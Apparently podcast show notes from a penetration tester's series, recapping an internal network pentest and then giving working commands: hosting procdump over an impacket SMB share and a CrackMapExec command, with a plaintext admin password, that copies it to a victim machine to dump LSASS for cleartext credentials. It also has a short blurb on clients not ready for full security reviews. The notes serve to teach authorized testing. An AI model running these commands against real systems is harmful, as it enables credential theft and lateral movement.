This episode is a "sequel" of sorts to part 9 where I was helping another company tag-team an internal network pentest. (In announcer voice) "When we last left our heroes we had..."

  • Relayed one high-priv cred from one box to another
  • Dumped and cracked a local machine's hash
  • Passed that hash around the network
  • Found (via Bloodhound) some high value targets we wanted to grab domain admin creds from
  • Set the wdigest flag via CrackMapExec

Today, we talk about how we came back to the pentest a few days later and scripted the procdump/lsass operation to (hopefully) grab cleartext credentials from these high value targets. Here's how we did it:

mkdir /share wget https://live.sysinternals.com/procdump64.exe screen -R smb /opt/impacket/examples/smbserver.py -smb2support share /share

Then, we ran the following CME commands to copy procdump over to the victim machine, create the dump, take the dump, then delete procdump.exe:

crackmapexec smb 192.168.55.220 -u Administrator -p 'Winter2018!' --local-auth --exec-method smbexec -x 'copy "\\192.168.55.60\share\procdump64.exe" "c:\users\public\procdump64.exe"' (more on today's episode show notes)

7MS #92: You're Not Ready for Big Boy Security Pants

Sometimes I get in situations where clients want their WHOLE security program reviewed, but in reality, they are still in the baby steps phase. What's the right thing to do when, for lack of a better term, the client isn't ready to put on their security big boy points?
